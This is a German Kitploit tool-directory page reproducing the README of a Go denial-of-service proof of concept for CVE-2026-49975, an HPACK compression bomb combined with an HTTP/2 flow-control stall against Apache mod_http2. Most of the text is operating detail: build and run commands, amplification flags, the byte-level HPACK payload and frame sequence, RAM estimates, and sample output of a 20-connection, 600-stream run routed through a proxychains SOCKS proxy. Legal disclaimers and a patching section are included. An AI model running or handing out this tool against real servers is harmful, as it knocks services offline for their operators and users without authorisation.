Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2026-49975 — Sicherheitsforschungs-PoC für CVE-2026-49975: HTTP/2-HPACK-Kompressionsbombe + Flow-Control-Hold-DoS in Apache mod_http2 | Kitploit
Tools/GitHubGitHub/naheeju/poc-cve-2026-49975
SchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheit
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

Sicherheitsforschungs-PoC für CVE-2026-49975: HTTP/2-HPACK-Kompressionsbombe + Flow-Control-Hold-DoS in Apache mod_http2

Repository anzeigen
vor 7h 36mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — HPACK Compression Bomb + Flow-Control Hold PoC

Security Research PoC von naheeju


⚠️ Dies ist ein funktionierendes Memory-Exhaustion-DoS-Tool — kein Spielzeug. Es öffnet Streams, die das Ziel zur Speicherallokation zwingen, und hält sie über HTTP/2-Flow-Control-Tricks offen. Solange der Prozess läuft, hält es weiter und verbindet sich automatisch neu, wenn der Server die Verbindung trennt — es stoppt nicht von selbst. Die Auswirkung skaliert direkt mit --threads, und . Das Stoppen des Prozesses (Ctrl+C) gibt die gehaltenen Streams frei und lässt den Server sich erholen, aber am Standardbetrieb ist nichts „sanft" — behandle jeden Lauf als Live-Fire-Test.

--streams
--headers

1. Überblick

CVE-2026-49975 („HTTP/2 Bomb") ist eine remote ausnutzbare, nicht authentifizierte Denial-of-Service-Schwachstelle, die das mod_http2-Modul des Apache HTTP Server betrifft. Sie verkettet zwei seit Langem bekannte HTTP/2-Schwächen:

  1. HPACK-Bookkeeping-Bombe — eine kleine, HPACK-kodierte HTTP/2-Anfrage bewirkt, dass mehrere Cookie-Header-Fragmente zusammengeführt werden, ohne gegen LimitRequestFields gezählt zu werden, wodurch der Server wiederholt Speicher für interne Header-Bookkeeping-Strukturen allokieren muss.
  2. Flow-Control-Stall (Slowloris-Stil) — der Client gibt ein nahezu null Flow-Control-Fenster an, verzögert die Antwortübertragung und hält den/die betroffenen Stream(s) offen, was verhindert, dass der allokierte Speicher freigegeben wird.

Das Ergebnis: Ein einzelner Client mit einer bescheidenen Verbindung kann eine erhebliche, anhaltende Speicherallokation auf dem Ziel erzwingen, solange der Stream offen gehalten wird. Diese Implementierung unterstützt zwei Payload-Modi und skaliert linear mit der von dir konfigurierten Nebenläufigkeit:

  • nginx-Modus — platziert einen leeren x-bomb-Header in der HPACK-Dynamic-Table und referenziert ihn wiederholt (~70:1-Verstärkung pro Referenz).
  • classic-Modus — platziert stattdessen einen übergroßen cookie-Header (~4000:1-Verstärkung pro Referenz).

Jede Verbindung referenziert den platzierten Header tausendfach pro Stream (--headers, Standard 5000), über mehrere Streams pro Verbindung (--streams, Standard 10) und mehrere parallele Verbindungen (--threads, Standard 1). Wenn der Server eine Verbindung schließt, verbindet sich das Tool sofort neu und macht weiter, bis es manuell gestoppt wird — dies ist eine kontinuierliche Hold-Schleife, keine einmalige One-Shot-Sonde.

Verwandte Identifikatoren für andere betroffene Stacks (nicht in diesem Repo implementiert oder getestet):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → separat verfolgt, hier keine CVE referenziert

Vollständiger Umfang der zugrunde liegenden Schwachstellenklasse, der Vollständigkeit halber — die „HTTP/2 Bomb"-Technik (HPACK Compression Bomb + Flow-Control Hold) betrifft mehrere Server-Implementierungen über Apache hinaus. Dieses Repo implementiert und testet nur den Apache-Fall; der Rest ist enthalten, damit Leser die breitere Klasse verstehen, nicht weil dieser PoC sie ausübt:

ImplementierungStatusIn diesem PoC implementiert?
Apache HTTP Server mod_http2Behoben in httpd 2.4.68 (2026-06-08)Ja — dieses Repo
nginxBehoben in 1.29.8Nein
EnvoySeparat verfolgtNein
Microsoft IISSeparat verfolgtNein
Cloudflare PingoraSeparat verfolgtNein
CVECVE-2026-49975
CWECWE-789 (Memory Allocation with Excessive Size Value, laut NVD/CVE.org); von einigen Herstellern auch als CWE-409 (Improper Handling of Highly Compressed Data) geführt
CVSS7.5 (High) — CVSS v3.1, Availability-only-Vektor (laut NVD). Apaches eigenes Advisory bewertet es als Moderate.
Betroffene KomponenteApache HTTP Server mod_http2
Verwundbare VersionenApache httpd 2.4.17 ≤ Version ≤ 2.4.67 (Standard-HTTP/2-Konfiguration)
Behoben inApache HTTP Server 2.4.68 (veröffentlicht 2026-06-08). Der zugrunde liegende Fix landete upstream in mod_h2 am 2026-05-27, wurde am 2026-06-02 in den httpd-2.4.x-Branch gemergt und im 2.4.68-Release ausgeliefert.
AngriffstypDenial of Service — Memory Exhaustion (nur Verfügbarkeit)
Authentifizierung erforderlichNein
Datenoffenlegung / RCEKeine — dies hat ausschließlich Auswirkungen auf die Verfügbarkeit
Bekannt ausgenutztDerzeit nicht von verfolgten Quellen als in-the-wild ausgenutzt markiert.

Referenzen (Primärquellen — alle Angaben unabhängig verifizieren):

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Apache Advisory / Schwachstellenliste: https://httpd.apache.org/security/vulnerabilities_24.html
  • Apache 2.4.68 Changelog (Fix-Commit-Referenz): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • Ursprünglicher Discovery-Writeup: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. Umfang dieses Repositories

Dieses Repository enthält:

  • Ein minimales PoC-Skript, das das Hold-only-HPACK-Bomb-Verhalten gegen ein Ziel reproduziert, das du zu testen autorisiert bist.
  • Dieses README, das die Schwachstelle, die Disclosure-Timeline und die Bedingungen für die sichere Nutzung dokumentiert.

Dieses Repository enthält nicht:

  • Automatisierung zum Scannen des Internets nach verwundbaren Hosts.
  • Flooding-/DoS-Sustain-Logik, Concurrency-Ramp-up oder Credential-/Target-Listen.
  • Code, der standardmäßig auf ein bestimmtes Live-System abzielt. Das Ziel muss explizit vom Operator angegeben werden.

3. ⚖️ Rechtlicher & ethischer Hinweis

Lies dies, bevor du irgendetwas anderes tust.

  • Dieser PoC wird ausschließlich für Bildungs- und defensive Sicherheitsforschungszwecke veröffentlicht — um Betreibern zu helfen, ihre eigene Exposition zu überprüfen, und um die öffentliche Dokumentation einer bereits offengelegten, bereits gepatchten Schwachstelle zu unterstützen.
  • Du musst eine ausdrückliche, dokumentierte Autorisierung des Systemeigentümers haben, bevor du dies gegen ein Ziel ausführst, das nicht deine eigene Infrastruktur ist oder ein System, das du vertraglich/rechtlich testen darfst (z. B. ein unterzeichnetes Pentest-Engagement, Bug-Bounty-Scope oder schriftliche Genehmigung).
  • Diesen PoC gegen Systeme auszuführen, die du nicht besitzt oder für die du keine Testautorisierung hast — einschließlich, aber nicht beschränkt auf Regierungsbehörden, Strafverfolgungsbehörden, kritische Infrastruktur oder jegliches Produktionssystem Dritter — ohne Genehmigung ist in den meisten Jurisdiktionen illegal (in Indonesien fällt dies unter UU ITE) und kann andernorts eine Straftat darstellen.
  • Die Autor(en) dieses Repositories:
    • Übernehmen keine Verantwortung für den Missbrauch dieses Codes.
    • Billigen nicht die Nutzung dieses PoC zur Störung, Beeinträchtigung oder Dienstverweigerung gegenüber jeglichem System ohne Autorisierung.
    • Stellen diesen Code wie besehen bereit, ohne jegliche Gewährleistung.
  • Wenn du ein Hersteller, eine Behörde oder ein Systembetreiber bist, der dieses Repository gefunden hat, weil dein System getestet wurde: siehe Abschnitt 6 — Disclosure-Timeline dazu, wie dies gemeldet wurde und an wen.

Durch das Herunterladen, Klonen oder Ausführen jeglichen Codes in diesem Repository stimmst du zu, dass du allein dafür verantwortlich bist, sicherzustellen, dass du die ordnungsgemäße Autorisierung hast, und dass du die volle rechtliche Verantwortung für deine Nutzung übernimmst.


4. Recon-Methode

CVE-2026-49975 gilt nur für ein Ziel, das beide Kriterien aus Abschnitt 1 erfüllt — über HTTP/2 erreichbar und mit einer im Bereich liegenden, verwundbaren mod_http2-Version (2.4.17 ≤ Version ≤ 2.4.67, Standardkonfiguration). Ein einfaches curl -vkI gegen den HTTPS-Port des Ziels reicht aus, um beides zu prüfen — kein Scanner oder zusätzliche Flags nötig:

root@kitploit:~
curl -vkI https://<target>

Worauf in der Ausgabe zu achten ist:

  • ALPN: server accepted h2 — der Server hat für diese Verbindung HTTP/2 ausgehandelt. Dies ist die Vorbedingung für CVE-2026-49975, da der Bug in mod_http2 liegt; ein Server, der hier nie h2 akzeptiert hat, ist kein Kandidat.
  • Der Server-Response-Header (sichtbar, sobald die HEAD-Response-Header weiter unten in der -v-Ausgabe ausgegeben werden) — dieser bestätigt oder schließt die tatsächliche Apache-/mod_http2-Version gegen den verwundbaren Bereich in Abschnitt 1 aus. Die ALPN-Akzeptanz allein bestätigt die Version nicht — dafür braucht es weiterhin den Server-Header oder eine gleichwertige Banner-Prüfung.

Darüber hinaus wird in diesem Repo nichts für Recon verwendet — kein aktiver Exploitation-Traffic, keine Vulnerability-Scanner, keine Port-Sweeps.


5. Anforderungen

  • Laufzeit: Go 1.26+ (Modul: cve202649975)
  • Abhängigkeiten: golang.org/x/net v0.59.0 (automatisch via go build aufgelöst)
  • Netzwerkzugriff: direkte TCP-Erreichbarkeit des autorisierten Ziels auf dem angegebenen Port (Standard 443, TLS/h2 standardmäßig; --no-ssl für Klartext-h2c)
  • Optional: proxychains4 — wenn das Binary unter proxychains4 gestartet wird, erkennt es den LD_PRELOAD-Wrapper, liest dieselbe proxychains4.conf und leitet seine eigenen Verbindungen durch diesen SOCKS5-Proxy (Remote-DNS-Auflösung) — nützlich, wenn der Scope eines Engagements das Testen von einem bestimmten Egress-Pfad erfordert
  • Berechtigungen: schriftliche Autorisierung / Engagement-Vereinbarung für das zu testende Ziel

6. Disclosure-Timeline

Öffentliche Timeline von CVE-2026-49975 selbst: an Apache gemeldet am 2026-05-26; Fix landete upstream in mod_h2 am 2026-05-27; gemergt in den httpd-2.4.x-Branch am 2026-06-02; Apache HTTP Server 2.4.68 veröffentlicht am 2026-06-08.


7. Nutzung

Führe dies nur gegen ein Ziel aus, das du ausdrücklich zu testen autorisiert bist. Es gibt kein eingebautes Dauerlimit und keinen Safe-Mode — du bist dafür verantwortlich, wie lange es läuft und mit welcher Nebenläufigkeit.

Build:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

Ausführen:

root@kitploit:~
./dos <target> <port> [flags]
FlagStandardBeschreibung
--threads N1Parallele Verbindungen
--streams N10Pro Verbindung geöffnete Streams
--headers N5000HPACK-Dynamic-Table-Referenzen pro Stream (Amplification-Treiber)
--mode nginx|classicnginxnginx = Empty-Header-Bookkeeping-Bombe (~70:1); classic = Fat-Cookie-Bombe (~4000:1, entspricht dem Apache-mod_http2-Cookie-Merging-Mechanismus, für den diese CVE geführt wird)
--no-sslausKlartext-h2c statt TLS verwenden

Beispiel, minimaler autorisierter Lab-Test:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

Zu erwartendes Verhalten:

  • Gibt eine Pre-Flight-Zusammenfassung aus (Ziel, Modus, Verbindungs-/Stream-Anzahl, geschätzter serverseitiger Speicher), bevor irgendetwas gesendet wird.
  • Hält Streams mit 1-Byte-WINDOW_UPDATE-Tropfen und periodischen Pings offen; verbindet sich automatisch neu und wiederholt, wenn der Server die Verbindung schließt.
  • Stoppt nur, wenn du Ctrl+C / SIGTERM sendest — plane dein Testfenster entsprechend und überwache den Speicher des Ziels in Echtzeit.
  • Empfohlen: Validiere zuerst gegen eine Staging-/Lab-Umgebung mit niedrigen --streams/--headers, bevor du einen autorisierten Produktionstest durchführst, und halte unabhängig davon einen Rollback-/Neustart-Plan für den Zieldienst bereit.

7a. RAM-Druck-Schätzung

Grobe serverseitige Speicherformel für die beiden Modi dieses Tools (nur Apache mod_http2 — siehe Abschnitt 1, wie nginx/classic auf das Amplification-Verhältnis abbilden):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

Skaliere threads/streams/headers nach oben, und die Zahl wächst linear — deshalb sollte ein autorisierter Lab-Test niedrig beginnen (siehe Abschnitt 7), bevor ein Lauf im Produktions-Scope erfolgt.


7b. Technische Details

Dies dokumentiert den Mechanismus, den dieser spezifische PoC gegen Apache mod_http2 implementiert — er erstreckt sich nicht auf andere Server-Implementierungen, die außerhalb des Scopes dieses Repositories liegen (siehe Abschnitt 2).

HPACK-Dynamic-Table-Seed (inkrementelles Indexing, fügt Eintrag bei Index 62 hinzu):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

Indexierte Referenz auf diesen Eintrag (je 1 Byte, --headers-mal wiederholt):

root@kitploit:~
0x80 | 62 = 0xbe

HTTP/2-Frame-Sequenz pro Verbindung:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

Die Wire-Kosten sind gering und pro Stream größtenteils fest (eine Handvoll Bytes für den Seed + 1 Byte pro Referenz); die serverseitige Allokation ist das, was überproportional wächst — diese Lücke ist die Schwachstelle.


7c. Beispielausgabe

Ausgabe eines autorisierten Lab-Laufs, classic-Modus, 20 Verbindungen × 30 Streams/Verbindung, 5000 HPACK-Refs/Stream, geroutet über proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

Jede Verbindung meldet unabhängig ihren eigenen lokalen RAM-Beitrag, während sie Streams öffnet (~572 MB pro Verbindung bei diesen Einstellungen); die Pre-Flight-Zahl Est. server RAM ist der aggregierte Wert über alle 20 Verbindungen (~11,4 GB), sobald jede Verbindung vollständig geöffnet ist und hält.

domain.com oben ist ein Platzhalter — ersetze ihn durch dein tatsächliches autorisiertes Ziel, wenn du deinen eigenen Lauf dokumentierst, und schwärze es, wenn das Engagement vertraulich ist.


8. Behebung

  • Apache HTTP Server: Upgrade auf httpd 2.4.68 oder neuer (dies ist das Release, das den Fix enthält).
  • Falls sofortiges Patchen nicht möglich ist:
    • Setze LimitRequestFields konservativ und überwache das Header-Merge-Verhalten.
    • Erwäge, HTTP/2 auf dem betroffenen Listener zu deaktivieren, bis gepatcht wurde.
    • Stelle dem Dienst einen Reverse-Proxy/WAF voran, der ein hartes Header-Count-Limit erzwingt.
  • Teste nach der Behebung erneut, um zu bestätigen, dass das Hold-and-Release-Verhalten kein anhaltendes Speicherwachstum mehr verursacht.

9. Credits / Attribution

Ursprüngliche Schwachstellenentdeckung & Offenlegung gegenüber Apache (keine Verbindung zu diesem Repository oder seinem Autor):

  • Quang Luong, Calif.IO, in Zusammenarbeit mit OpenAI Codex
  • Gemeldet an das Apache HTTP Server Project am 2026-05-26; offizielle Credit-Zeile veröffentlicht im 2.4.68 Changelog

Dieses Repository (Go-Reimplementierung, geschrieben und getestet nachdem der öffentliche Fix landete):

  • Autor: naheeju
  • Unabhängiger PoC, erstellt aus der öffentlichen Schwachstellenbeschreibung und dem Patch-Diff, für Verifikations-/Bildungszwecke gegen autorisierte Ziele. Nicht verbunden mit der ursprünglichen Entdeckung, Calif.IO oder dem Apache Security Team.

Fragen, Korrekturen oder Anliegen im Zusammenhang mit Responsible Disclosure zu diesem spezifischen PoC: Eröffne ein Issue in diesem Repository.

Lizenz: MIT (nur der Code dieses Repositories — siehe LICENSE). Erstreckt sich nicht auf die ursprünglichen Entdecker oder die Apache Software Foundation und impliziert keine Billigung durch diese.

Tool herunterladen